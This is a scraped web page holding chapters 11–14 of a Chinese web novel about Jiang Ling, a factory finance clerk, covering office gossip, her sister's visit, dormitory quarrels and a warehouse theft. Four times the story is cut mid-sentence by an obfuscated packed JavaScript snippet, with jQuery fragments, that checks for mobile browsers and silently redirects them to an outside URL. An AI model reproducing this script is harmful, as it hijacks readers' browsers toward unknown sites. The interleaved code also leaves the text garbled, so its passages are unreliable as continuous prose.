“人家小宋是大学生,咱厂当初为了留住人才,给开了副科待遇。小宋年纪轻,但是有出息啊。”她眼角带着嘲讽看了眼魏明,你还得靠着当厂长的大舅子才当上副科,宋观书年龄比你小,只靠着自己,也是副科,就问你怎么好意思说人家没出息。
11. 第 11 章
宋观书是副科级,姜菱都不知道这件事。
她笑着说,“我不在乎他的身份,不管他是普通工人,还是什么身份,我都稀罕他。”
魏明被打了脸,表情很难看。
他摇了摇头,为自己挽回自尊,“男人越来越吃香,你们不懂老男人的好。”
唐科长和陆建军都在老男人的行列,两人赞同地点点头。
财务科几位老大姐结婚多年,经历过丈夫从年轻到中年的过程,听见他这话,都是一脸的一言难尽。
结了婚生了孩子的中年女性在谈论夫妻问题时十分大胆,荤素不忌,“你可拉到吧,哄我们是没结过婚的大姑娘啊,上了年纪的男人跟废物没区别,两分钟就完事,都多余脱裤子。”
几个男同志被臊得满脸通红,同时还有因男性尊严被挑战生出的恼羞成怒。
这个话题明显不能继续再进行下去,这种私密事情说不清楚,再说了戳中某些人的痛点,他心虚啊。
唐科长端起领导的派头,“小姜还是个没结婚的大姑娘呢,讲话的时候稍微注意点,别带坏她了!”
姜菱心想,这才哪到哪,真不用躲着她。
然而在大家心里,没结婚就是个孩子,不能当着孩子的面说荤段子。
姜菱笑着摇摇头,“没关系的,我这也快结婚了,听姐讲讲结婚以后的事情,将来能更有经验。”
这位大姐一听,也不管唐科长的警告。
“姐是过来人,我跟你讲,找对象就得找年轻的,男人的花期短,超过那段时间就不行了,千万别找年龄相差太大的。”
这种话,她不会跟自己家女儿侄女说,太尴尬,跟外人就不同了,随便说。
姜菱当然知道这个原理,同时她在大脑中思索,宋观书他今年多大了?
书中没有详细介绍反派的年龄,谢朗叫他哥。
宋观书比谢朗大,不过他脸嫩,看起来比谢朗的年纪小。
魏明脸黑得像锅底,这都说的什么跟什么啊,他感觉有被冒犯到。
偏偏他还不能插嘴,魏明给唐科长使眼色,让他管一管这几个人,唐科长却打了个哈欠,只当没看见他的表情。
魏明最近两年,总是有感觉力不从心,偏偏他媳妇一直没怀上孩子,在这事上特别热切。
本来是人世间最快乐的一件事,现在搞得他都产生了心理阴影。
唐科长和陆建军比魏明的年纪大,虽说没有媳妇追着同床的心理阴影,但也的确是不中用了。
两人也都有苦难言。
魏明本想要给宋观书上眼药,结果惹火上身,为不被想起,他直到下班都没有再开口。
下班铃响,姜菱对办公室没有任何眷恋地向着食堂冲去。
刚好跟外面进来的姜莲撞了个满怀。
姜莲是来找姜菱的,她把妹妹扶正,“怎么慌慌张张的,去了外面可不能走得太快,万一哪块结了冰,你摔倒了可怎么办?”
她有话跟姜菱说,跟财务科的几位干事点头打过招呼以后,便拉着她往外走。
姜菱怕冷,在打下班铃声之前,提前穿好外出的衣服,裹得里三层外三层,只露出一双眼睛。
姜莲把她拉出去,走出办公楼,北风呼啸着吹在身上。
今年是个冷冬,已经立春,气温却没有回暖的意思。
室外天寒地冻,不方便聊天,最终还是去了姜菱的目的地——食堂。
食堂是吃中午的剩菜,姜菱要了个馒头,打了一道素菜。
姜莲看着小妹满脸痛苦地吃菜,她的两个妹妹都特别娇气,挑剔吃穿。
“没有肉的剩菜,真的很难吃。”她现在非常想吃肉。
姜莲笑着说:“下次大姐带你去国营饭店吃饭。”
姜菱瘪瘪嘴,“还是算了吧,你省下钱给小雅和小诗买肉吃,做新衣裳穿。”
姜莲急于解决家里矛盾,前天夜不归宿,她昨晚下班早早回家跟丈夫孩子报平安,已经事先说过今天会晚点回来,她下了班就去找姜菱。
“昨晚给小雅和小诗吃了橘子罐头,她们说很好吃。”
“我告诉是小姨夫给买的,她们让我跟小姨和小姨夫转达谢谢,感谢小姨夫让她们吃上了过年才有的橘子罐头。”
姜莲夫家全是工人,还有在厂里做小领导的婆婆。
他们家的情况,远超过很多工人家庭。
但姜莲婆家极度重男轻女,姜莲公婆丈夫不舍得给她生的两个女儿吃好东西,家里有点好的全进了姜莲小叔子家的独子肚子里。
姜莲的工资上交给丈夫,姜志福即便知道她在婆家过得不好,却不可能贴补她。
没人贴补,姜莲又没有零用钱给女儿买零食,她的两个女儿小雅和小诗都没吃过多少好东西。
水果罐头都是少有的美食。
姜菱耸肩,“是宋观书掏钱,不用谢我,我下次遇见他跟他转达。”
姜莲正色问她,“你就准备一直住在厂里宿舍?”
姜菱:“不然呢,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069190|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爸妈已经把我赶出家门,我不可能住回去。”
“我的意思是,你跟小宋已经领证结婚,你们应该住在一起。”
姜菱收敛了脸上不正经的神色,一脸认真同她说,“我没有告诉身边人我现在已经结婚,我只说了我跟宋观书在处对象,姐你不要告诉别人,我领证的事情。”
姜莲这下有点不太懂了,姜菱跟小宋领了证,却不希望有人知道她已婚。
姜莲脸色严肃,“你可不能干对不起小宋的事情,你已经结婚了,乱搞男女关系是犯了流氓罪,要蹲监狱的。”
姜菱无奈摇摇头,“我的大姐啊,你就不能想我点好,你还不了解我吗,我是那种乱搞男女关系的人吗?”
不是,但姜莲想不到其他可能性了。
姜菱不想被人知道她和宋观书已经领证,主要不想要跟宋观书住在一起。
她已经结婚,出于家庭和谐考虑,后勤不一定会通过她的宿舍申请。
而且才刚结婚,就跟丈夫分居,妇联大姐是来劝她的。
事实上,不管是她还是宋观书,都不愿意同居。
姜菱随口编了个借口,“毕竟爸妈那边都没同意,就让其他人知道我们领了证,这不太好。”
姜莲气得想锤她,“爸妈不同意,也没耽误你去领证。再说了,你既然在意爸妈的感受,怎么还会把小宋带去的礼品拎回来,你糊涂啊。”
姜莲很了解自己父母,“就冲着你这举动,爸妈绝对不可能认可小宋。”
姜菱轻叹一口气,“时间会冲淡一切,爸妈现在不同意,以后就未必了。”说不定再过上几年,她跟宋观书都离婚了。
姜菱使出撒娇大法,“大姐,你想想,我突然告诉大家我领了证,周围人得多意外啊,说不定还要在背后讲我坏话。你应该知道咱们厂那些大婶子的嘴最难听了,恐怕要说我,急着结婚肯定是肚子藏不住了。”
姜莲挠挠头,小妹说得似乎有道理。
“你跟小宋就这样分开住,不利于夫妻感情,你别怪姐说话难听,男人容易变心,你得看好了他。”
这话或许适用在其他男人身上,跟宋观书完全不适配,这是个心中没女人的男人。
在原著中,他跟“姜菱”的感情不好,只是有一张结婚证的表面夫妻,宋观书没有跟任何女人搞过暧昧,他不是在给男女主添乱,就是在给男女主添乱的路上。
“我相信宋观书绝对不会变心。”
宋观书的心都没在她身上,谈何变心。
12. 第 12 章
姜莲直到跟姜菱分开,都没能说动她。
这丫头现在死犟,任她嘴皮子磨干了,也不听她的话。
得了姜菱的叮嘱,她不敢跟婆家人讲。
多亏她跟婆家关系不好,跟丈夫的关系也很一般,没有养成跟丈夫分享苦恼的习惯。
姜菱在食堂吃完饭,就跟大姐分道扬镳。
现在的饭实在是难吃,她回到宿舍时,还在琢磨有没有什么办法能每天吃到肉。
她换下外衣以后,同宿舍的几个姑娘陆陆续续吃完晚饭回来了。
她们不像姜菱去食堂吃饭,都回不远处的家属院吃饭。
食堂的晚饭没有肉,花钱去食堂吃晚饭不划算,还不如在家吃。
姜菱躺在床上看闲书,见室友回来以后,她放下书。
“姜菱,你说今天去催催宿舍申请,后勤通过了吗?”
姜菱干笑,“没来得及去后勤。”
问话的女工立刻说道,“不去也没关系,后勤肯定会通过,女工宿舍还有四五间没人住,不会卡着你的。我是年前申请的宿舍,那时候后勤事儿忙,一共拖了半个月,才通过了我的申请。”
住在姜菱对床的女声说,“我那时候快,不到一周。”
姜菱这下心里有底了,年后事儿少,应该不会拖太长时间。
再不然,买两包烟给后勤主任送过去。
寝室内几人互相讨论着自己的住宿申请通过花费天数,门外突然传来了敲门声。
“我听说姜菱在你们宿舍住。”门外有人敲了两下门,便自己把门打开。
是个穿着红棉袄梳着齐刘海的凤眼女孩,“姜菱在吗?”
都是日化厂的职工,住在一层楼的宿舍里,平日里低头不见抬头见,即便彼此没有交流过,却知道彼此名字,和工作科室。
最早搬进宿舍的姑娘,寝室长白果开口道:“刘晓洁,你有什么事吗?”
被唤作刘晓洁的女孩在寝室众人脸上都扫了一圈,最终停留在姜菱身上,她冷笑一声,“你前年从寝室里搬出去的时候,说只有没有家的女孩才会住单位宿舍。才不到两年的时间,你就把这句话给忘了?”
她啧啧道,“行李都搬到了宿舍里,你不会是想在宿舍长住吧。”
“刘晓洁同志,你突然冲到我们宿舍,辱骂我们寝室的成员,这是个非常没有礼貌的行为,我希望你能跟姜菱同志道歉。”
姜菱对刘晓洁没有印象,不过听她话里意思,她们似乎在宿舍中发生了一些矛盾。
“同志们,我曾经是姜菱的室友,你们应该年纪不大,刚进咱们厂的时间不久,有些事情没有听说过,我不喜欢讲别人坏话,你们可以跟自己的亲戚朋友同事领导打听一下,你们的这位新舍友姜菱,打听一下她上一次住进宿舍,都发生了怎样的事情,就能够懂得我的心情。”
几个姑娘互相对视了一眼,心里头直打鼓。
从平常来看,刘晓洁不是不讲道理的人,她又特别理直气壮,难道她们的新舍友真的有问题?
姜菱脑中没有关于这段记忆的印象,她不能为自己辨别,只说道:
“领导人教导我们,要用发展的眼光看问题,刘晓洁同志,我希望你能够用发展的眼光看我,人非圣贤孰能无过,过而改之善莫大焉。”
刘晓洁是抱着跟姜菱吵一架的语气进入寝室,没想到能从她口中听到如此通情达理的一番话。
她意外之余,甚至生出了一种看见漂亮姑娘改邪归正的欣慰。
“不管怎样,我要跟你说声抱歉,希望你能原谅我。”
她是个爽利姑娘,即便曾经闹得非常不愉快,甚至达到了厂里其他人都听说过的程度。
刘晓洁记恨了姜菱将近两年的时间,无数次在背后讲她坏话。
在姜菱目光诚挚同她道歉时,她竟脸颊微红,“没、没关系。”
姜菱笑,“谢谢你的原谅,你真是大好人。”
她是个嘴皮子很利索的姑娘,罕见地说话磕磕巴巴,“我大人有大量不跟你一般见识。”
姜菱竖起大拇指,“我就知道,你是个好同志。”
刘晓洁气势汹汹地赶来,离开时却带着两分落荒而逃。
刘晓洁就这样轻易地原谅了姜菱,宿舍中的几个女工却因着她的一番话,对待姜菱的态度没有从前亲热。
这也是人之常情,谁不想自己的室友善解人意,不是那种把寝室搅得天翻地覆的事儿精。
姜菱也没想到会横生枝节,但这又怪谁呢?
都有点不太欢迎姜菱来她们寝室,在刘晓洁离开以后,寝室陷入了诡异的安静。
几个女工都不知道应该如何跟她开口,总不能直接问正主,她当年怎样跟室友闹翻天。都在心中琢磨,明天上班时再跟同事打听。
第二天洗漱的时候,在水房遇见了刘晓洁,与姜菱同寝室的女工将人拉到一旁,小声询问道,“原先你跟姜菱住在同一寝室的时候,她都做了什么出格之事,你跟我说说。”
才刚刚睡醒,刘晓洁的头发乱糟糟,她顶着鸡窝头打了个哈欠,“没什么,现在姜菱同志已经改好,你不用担心。”
刘晓洁拍了拍对方肩膀,豪迈地把毛巾甩到自己的肩膀上,撸起袖子去水龙头下洗脸。
留下这女工在原地气得想骂娘,合着现在不是要你跟事儿精当室友,你当然说没事了。如果真的没关系,又怎么会把寝室中的事情弄得全厂皆知。
姜菱从床上爬起来,神情恍惚地去水房洗脸。
冬天的自来水冰手,用凉水洗脸,她彻底地精神了。
一路小跑进办公楼时,却看见楼内大厅站着几个穿着制服的公安,谢朗穿着便衣混在其中。
看见姜菱时,他下意识走过来同她打招呼,姜菱微微颔首,指了指财务科的方向,示意她快要迟到了,有事下次再说。
姜菱挺好奇厂里发生了什么事情,缘何惊动公安。
不过这应该在公安工作的保
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069191|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
密守则中,不方便透露。
他既然不能说,姜菱没必要让他为难。
再说了,她已经打定主意,要离谢朗远一点,就从今天开始。
回到财务科,她迫不及待地问科室内的几位大姐,“咱厂出什么事了,公安都来了?”
大家都不算消息灵通,摇摇头表示不知道。
“魏科长应该知道,等他来上班,咱就知道发生了什么事。”
在众人的期盼中,魏明迟到了半个多小时,他刚踏进办公室,大家便迫不及待问道,“魏科长,你知道外面的公安是为了什么事吗?”
魏明很享受被追捧着的状态,他把办公室的门关紧,压低声音小声说,“我只跟你们讲,你们别告诉外人,咱们厂招贼了,昨天晚上仓储科来了一批小贼,咱厂前几天才买的化工材料,被偷走了大半。”
说到这时,他看了眼姜菱,“就是让你入账的那批材料。”
才做过账,姜菱有印象,那一笔原材料花了将近五千块,丢了大半得要两三千块,厂里着急也正常。
“打更的老陈三四点钟起夜检查,看见仓库的门大开,赶紧报了警。”魏明气得骂了句,“那伙子混蛋偷东西就算了,带不走的材料全被他们给霍霍了,要么原地倒掉,要么混在一块,好几千块钱呢,打水漂了。”
偷不走就糟蹋,这小偷太坏了。
“不仅是损失了财物,这个行为太恶劣,厂长说无论付出什么代价,都得把这伙子小偷抓到。”
这时代的工人把厂子当作自己家,自家被小偷光顾,非常气愤,恨不得自己上手抓到小偷。
姜菱早上起得晚,来不及去食堂吃早饭,她打了壶热水,准备泡一点麦乳精吃。
吃独食不好,她拿着罐子,给同事们都分享了一勺。
出纳于家凤笑着打趣她,“是小宋给你的?”
恋爱还得看别人谈,几位结婚多年的老大姐们满脸姨母笑。
魏明本来心情不错,带着科里人吃到了瓜,享受到了一波崇拜目光。
突如其来听到了讨厌的名字,一天的好心情都要被毁掉了。
他撇撇嘴,“你们女同志眼皮子不要太浅,几罐子麦乳精,几块大白兔奶糖就能把人给哄骗走,也太不值钱了。”
李春娇:“那也总好过有些男人铁公鸡转世一毛不拔。”
她看向姜菱说,“你是不知道,我对象抠得要死,我们处对象的时候,过年来我们家给我爸妈拜年,是空手上门的,连一块饼干都没带,我处对象的时候,他没给我买过一块糖。”
魏明致力于讲宋观书的坏话,“那这不是很好吗,证明姐夫是个务实的男人,找对象就得找那种实在踏实的人。”
李春娇气得骂娘,“实在个屁,年前我用自己工资买件新衣裳他都不舍得,一直让我给退了,我都三年没买过新衣裳了。
小姜你记住,婚前都不舍得给你花钱的男人,结婚以后就更不可能舍得给你花钱了。”
13. 第 13 章
她这话说完,财务科几位大姐纷纷夸她这话说得有哲理。
“确实是这样,我对象结婚之前还挺大方,带我看电影下馆子,结婚以后完全变了一个人,本性暴露。好歹他还装一装,总好过李姐家那位,两手空空去老丈人家。”
成为被讨伐的对象,几位男同志想要辩解,又怕被女同志们集中火力攻击。
魏明跟科里其他人说了厂子被偷是小道消息,让他们不要到处跟人说。
等姜菱去吃饭的时候,这消息已经满天飞,全厂都知道了,食堂餐桌上全是在讨论这件事。
姜菱在科室内没有朋友,她跟财务科几位大姐的年龄相差太大,上班时候大家能够聊八卦,吃饭下班却没人带她,她们都已经自成了个小团体。
姜菱总是独自吃饭,突然对面位置有人坐下。
厂里用餐位置紧巴巴,从前也有人坐在她对面吃饭,姜菱连抬头都没有,一门心思吃饭。
听见熟悉女声期期艾艾道歉,“抱歉啊,姜菱,我去你们宿舍说你的不是,是不是给你添麻烦了,你的新室友会对你有意见吧,我今天晚上去你们寝室跟她们解释一下。”
抬起头发现,竟然是刘晓洁。
刘晓洁听到姜菱的道歉,对过去释然了大半,躺到床上一直没睡着,她反省自己行为的不妥,越想越睡不着觉,觉得为着她给姜菱带来的困扰,她应该道个歉。
即便她掐尖好强,从来没有跟人道过歉,就是跟家里人都没有说过软和话,但她想既然姜菱都能为自己的错误道歉,她又凭什么不行。
“我确实有错在先,你只是实话实说,人应该为自己犯下的错误买单,她们对我有想法,也是因为我有不对之处。”
姜菱实在想不起跟这刘晓洁因为什么事情发生矛盾,原著更不会交代这个问题。
“其实也不只是你的错,我当时也有错。”承认自己的错误,需要极大的勇气,刘晓洁磕磕巴巴说道,“那时候年纪小,喜欢争强好胜。”
姜菱极为不舍地给她夹了一块肉,她饭盒里总共才三块肉,“过去的事情不要再提,我们都应该向前看。”
刘晓洁将这块肉当作是她交朋友的信号,“谢谢,我今天被公安和保卫科盘查了一通,来食堂太晚,肉已经卖没了。”
刘晓洁在仓储科工作,作为仓库管理员,她成为公安的重点盘查对象。
都花了一样的粮票和钱,别人还有点肉末,她却是全素,说起这个就很气愤,“我住在寝室里,那些公安也不想一想,我怎么可能从上了锁的宿舍里跳出来。而且我一个女同志,怎么能搬动将近千斤的原材料。”
盗窃案是个小案子,并非刑事大案,原著开始的时候这个案子已经过去了小半年,谢朗因为破获一起恶劣的杀人案被上级单位表彰,调到分局工作,结识了女主。
姜菱从魏明和刘晓洁口中听了不少关于偷盗案的细节,她用自己看过许多刑侦剧的经验分析道,“被偷盗的原材料很重,小偷肯定有车,自行车太小,得是小轿车或者牛车马车三轮车。咱们厂有个大门,还有个小门,大门一直是锁着的,还有老刘看门,他应该走的小门。”
“而且奇怪的一点是,一下子偷那么多化工材料,花的力气大不说,销赃困难,他有这精力,为什么不去偷电视机厂,一台电视机黑市不要票能卖五百多块钱,偷个三五台电视机,是非常轻松的事情,他为什么不去偷电视机这种贵重的,反而来咱厂偷原材料。”
听着她的分析,刘晓洁偶尔点点头,“对啊。”她也很好奇到底是谁偷了东西。
姜菱是真的不理解,这玩意它不值钱啊,去黑市脱手也困难,到底是非要偷化工材料。
电视机厂丢了三五台电视机,大张旗鼓报警的可能性不大。小偷把赃物在家放个一年半载,等风头过去,他把电视机拿到黑市卖掉,轻轻松松几千块入账。
“他把没有偷走的材料都给浪费了,这人要么性格极端,要么跟厂里有仇。他比较了解咱们厂,大概率是厂里员工或者是厂里子弟。”
埋头吃饭的刘晓洁逐渐抬起头来,认真听着她的分析。
“我感觉你说得好有道理,如果是我去厂里偷东西,我不会把其他东西倒掉。可是如果我跟厂里有仇,出于报复的心理偷东西,我就会破坏厂里的资产。”
话音刚落,自觉失言的她立刻找补道,“当然了,我不会偷东西,不会干坏事,我是用小偷的思维想问题!”
姜菱点头,“我知道的。”
两人吃完饭以后,一起去水龙头下将饭盒冲洗干净。
姜菱忍不住在心中感慨,菜里没荤油也不是没有好处,洗饭盒都不用费劲,随便冲一冲就干净了。
刘晓洁蔫头耷脑地回了仓储科办公室,厂里其他员工中午能够睡觉,她们仓储科出了事,公安还没有离开,她今天中午八成没得睡,公安要继续盘查。
她有些心直口快,嘴巴比大脑动得更快,在公安继续询问她这几天工作时有没有按照流程进行保管,竟然将她当成嫌疑人盘查,刘晓洁气愤之下,将中午时姜菱在饭桌上说的猜测像机关枪一样突突了出来。
警方办案有自己的流程,仓库管理员作为每天都会跟材料接触的人,成为怀疑对象也在情理之中。
听她叭叭叭分析了一通,感觉还挺有道理,审问的民警顺口夸了一句她,“你这小丫头思维还挺缜密。”
负责刘晓洁这一组记录的民警是谢朗,老公安瞥了眼空空如也的记录本,提醒他,“写啊,就算是百姓的猜测,我们也得进行记录,万一对我们的破案有指导意义呢。”
老民警看向刘晓洁,“姑娘你放心,如果你的猜测有用,我们会给你发奖金。”
刘晓洁不是贪功的人,她解释道,“刚才我说的那些话,全是财务科姜菱分析的,要是发奖金,那得给她发,别发错了。”
听到是姜菱的分析,谢朗突然抬起头,“同志,请你再说一遍刚才的分析。”
刘晓洁挠头不解,这位警官为何突然重视她的分析。
他转头跟自己的带教老民警说:“师父,姜菱她是我高中同学,她可聪明了,我觉得她不会有错。”
谢朗师父气得把手边空烟盒往他身上扔,这臭小子,净整些幺蛾子。
刘晓洁懵懵还想再重复一遍,被谢朗师傅洪警官叫住了,“小同志,你刚才说的分析我都记住了,不用再重复。”
谢朗嘟嘟囔囔,“可我没记住。”
洪警官不管徒弟,继续问话,“厂里有多少人知道,厂里刚买了一批化工材料,就存放在仓库之中。”
这不是第一次问她这问题了,她回答道,“那可就多了,我们仓储科的工人都知道,采购科的干事和工人负责采购,厂里领导应当也知道。生产线上在用的这批化工材料存在质量问题,质检科的工人上报之后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069192|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,厂领导便批准重新购买新的化工材料。厂领导知道,我们仓储科还有采购科的都知道,仓库来来往往人不少,究竟有多少人知道,我也记不清楚了。”
虽然这批化工材料购置到厂时间也才三天,听这位女同志话里的意思,厂里大半工人都知道仓库里堆放着一批新材料。
这就难办了,厂里的工人和工人家属都有嫌疑。
光是排查,就要用上很长时间。
即便如此,洪警官让徒弟将刘晓洁分析的知情人记录下来,稍后会进行走访调查。
同样被审问的仓储科工人,不止刘晓洁一人讲述了有可能的知情名单。
洪警官又根据刘晓洁刚才所说的分析问道,“既然你说有可能是跟日化厂有仇的工人或者子弟作案,关于人选,你有头绪吗?我对你们厂不了解,你应该很熟悉,你跟我们说说,哪个工人跟厂子有仇。”
刘晓洁干笑两声,“同志,究竟是谁,我也不清楚,而且都是厂里工人,我不好讲同事坏话。”
洪警官把保温杯重重拍在桌子上,“你知不知道,日化厂被盗窃一案影响很大,就连市里领导都十分关注。你以为替同事隐瞒,就是为了他好吗,殊不知你这是包庇,就连你也要坐牢!”
民警气质凛然,刘晓洁被他身上的气势震慑住了,带着两分讷讷说道,“可是我不知道呀,我要是知道一定会跟你们说的。要是细细说来,似乎大家跟厂里都有不愉快,我不喜欢厂里每天七点半上班,时间太早了,可我在员工宿舍里,我没有作案时间。”
洪警官嘴角抽搐,何止是没有作案时间,他不信有哪个人会因为厂里上班时间太早,而故意盗窃厂里财物。
刘晓洁伸出手指头细数:“我们科孙哥家女儿高中毕业以后没能进厂,他在科室里面骂了两天厂领导,但他心里更稀罕儿子,不可能为了闺女,冒险做这种事。我们科黄姐想要升职,一直没能成功........”
细细数来仓储科每个人跟厂里都有小龃龉,但刘晓洁又在分析之后,将大家作案的可能性给否掉。
“虽然我们对厂里,都有着各种各样的不满,但咱日化厂福利待遇好啊,每月工资比兄弟单位高五块钱,还有额外的香皂洗衣膏做福利,多好啊。”
谢朗脾气急躁,他有点不太想记录了,这女同志话说太密了,都是没意义的内容,然而在洪警官的眼神威胁之下,他只得不情愿将全部记录到笔录上。
谢朗的性格跳脱,洪警官让他记笔录,就是想要磨一磨他的性子。
“师傅,咱们该去现场看一看。”
洪警官本想再抻一抻这个徒弟,最后还是没拗过他,让所里其他民警负责审讯,他带着谢朗去了被盗贼光顾过的现场。
有几位痕迹专家已经在现场勘验,日化厂一共两间仓库,东边的仓库存放化工材料,西边的仓库堆放着已经装了包装的成品,即将销往全国各地。
洪警官:“小偷大动干戈,为什么不偷已经制好的成品,而是去偷原材料呢。”
谢朗随意说道,“大概是成品销赃困难,而咱们公安追赃简单。”
日化厂有不少员工听说仓库招了小偷,在警戒线附近围观。
仓库现场没留下脚印,黏黏腻腻全是化工材料,谢朗看了一会,就跑了出来。
在围观人群中,他一眼看出了清瘦温润的宋观书。
“宋哥也来看热闹?”
14. 第 14 章
宋观书微微点头,轻声道,“听同事说仓库出事,我手头的工作都忙完了,就出来看看,万一有能帮上忙的地方。”
“瞧宋哥这觉悟,那真是没话说,如果你们厂所有员工都能够有你这种主人翁意识,这案子早就能破了。”
洪警官正在看现场,跟在身后的徒弟突然不见了,他到处去找,终于在仓库外找到了他,这小子作为办案人员,竟然正在跟人闲磕牙。
谢朗父亲曾经做过革委会主任,并且浪潮退去之前,顺利功成身退,一跃成为领导班子中的一员。
谢朗过于跳脱,不符合洪警官对于徒弟的要求,洪警官是刑警队队长,是看在谢朗父亲的面子上,认了他做徒弟。
洪警官的声音中带着些许不耐,“不是说了要看现场,你跑来这边干什么?”
“我在盘查厂里工人,这位是技术科的,他很厉害,恢复高考后第一届北城大学化工系大学生,说来也巧了,我当初高考志愿跟他填的一模一样。”谢朗挠了挠后脑勺,“只不过我的分数跟北城大学差得太多,我第一次高考没考上。要是咱们同事有什么不懂的技术问题,都可以问他。”
大家都很尊重知识,也尊重大学生,听见谢朗是北城大学的学生,洪警官倒是收敛了脾气,客气点头,“你好。”
宋观书的笑容中带着几分无害,“谢朗太客气了,技术指导谈不上,我主修化工,毕业后进入日化厂研究的也是这类问题,若是警方在工作过程中遇到问题,恰好是我能够帮忙的,我非常荣幸能够帮到你们。”
洪警官从业多年,直觉相当敏锐,虽然他行为举止得体进退有度,直觉告诉他,眼前的青年并非像他表现得那般无害,这是个极其擅长伪装的人。
“那就多谢了。”他跟宋观书讲话时十分客气,转头跟讲话时语气却颇为不耐,但亲疏远近一目了然,“别叭叭了,赶紧回来看现场。”
这徒弟虽然是个缺心眼,但好过伪君子。
他行事直来直去,可受不了那些弯弯绕。
谢朗冲着宋观书摆手,“等我完事以后去三楼找你。”技术科在办公大楼三楼。
原材料全部被毁,车间里还剩下一些前一天遗留没有用完的原材料,材料不多,车间工作了半个多小时,就全部用光了。
采购科得到了厂里的指示,赶忙去外地采购原材料,只是采购还需要几天时间。
车间的生产线就这样停了下来,车间主任去请示厂领导工人们怎么办,是给他们放假,还是让他们在车间里待着。
主任离开以后,车间彻底炸锅了,有人议论为什么化工材料突然没了,还有工人聊自家的事情,做什么事情的都有。
目前跟姜菱住在同一寝室的女工白果,想着这真是个打听事儿的好机会,她问了站在她对面的一个老大姐,这位大姐爱说个东家长西家短,在厂里待了很多年,想必厂里的大事小情她都知道。
白果先工位了人家两句,然后图穷匕见,“陈姐,你知道咱们厂姜菱前几年在工人宿舍里搞出来的事情吗?”
车间里都在聊天,吵吵闹闹的背景音大,她大声重复了一遍,“你说谁?”
“姜菱!”
时间过得太久,陈大姐有点记不太清楚了,被唤作陈大姐的女工还在想姜菱是谁,在白果不远处的赵红云听到了有人在叫姜菱的名字。
她凑近问道,“我没有听错吧,你们刚才是不是有人叫姜菱的名儿。”
白果跟赵红云是同一批进入日化厂的员工,不过白果是技校毕业,又是厂里子弟,进入日化厂之后,她是正式工,而赵红云初中毕业,是合同工。
赵红云跟外人相处时,跟家里人完全不同,外人对她的印象不错。
白果问:“你认识姜菱?”
姜菱又不是什么烂大街的名字,整个日化厂恐怕只有一个姜菱,那怎么会不认识呢。
赵红云点头,“当然认识了,她是我姑姐。”
赵红云结婚才不到一周,同事们却已经相当了解她的公婆与三个姑姐。
偏心小叔子的公婆,抠门的大姑姐,搅家精的二姑姐和三姑姐。
平时上班的时候,大家手上忙着,嘴里也忙着,有些人不喜欢跟同事讲自家丑事,有些人就非常愿意跟工友分享家中事。
赵红云就是后者。
这时就有人问起,“是你哪个姑姐啊?”
赵红云:“就哪个不孝顺父母,还喜欢挑拨我和我家那口子关系的三姑姐。”
在赵红云描述中,大姐姜莲抠门,二姐姜荷好显摆,这都是小毛病。
不孝顺公婆,还喜欢挑拨弟弟弟媳关系,这是品行有问题。
这时候周围的工友也都凑了过来,听了全程的工友问道,“姜菱是咱们厂的工人吗,怎么感觉这名字那么耳熟。”
赵红云忙不迭点头,“她在财务科。”
听到财务科,大家想起了这是谁,“就是财务科那个长得很漂亮的姑娘吗?”
赵红云极不情愿地回答道,“对的,就是她,虽然长得好看,人很难相处。”
“对对对,我想起来了,跟室友在宿舍骂起来,后来劳动了宿管插手,是不是就是她。”
这件事赵红云就不知道了,她进入厂子的时间不长,姜立文没有来得及告诉她,她自然不知道这件
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069193|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事。
白果知道了刘晓洁口中的多去打听打听是什么意思,这也太可怕了,竟然会跟室友骂起来。
那得是什么人啊,不孝顺父母,搅和弟弟的家庭,跟室友也处不来。
这人要是只跟室友处不来,那还能说两边都有问题,可若是跟亲生父母和弟弟都出不来,百分百是她的问题。
赵红云在抹黑姜菱上毫不手软,没有话题,都能被她故意引到我的奇葩大姑姐上,更何况大家正在讨论姜菱。
赵红云:“她前几天被我公公赶出了家门。”
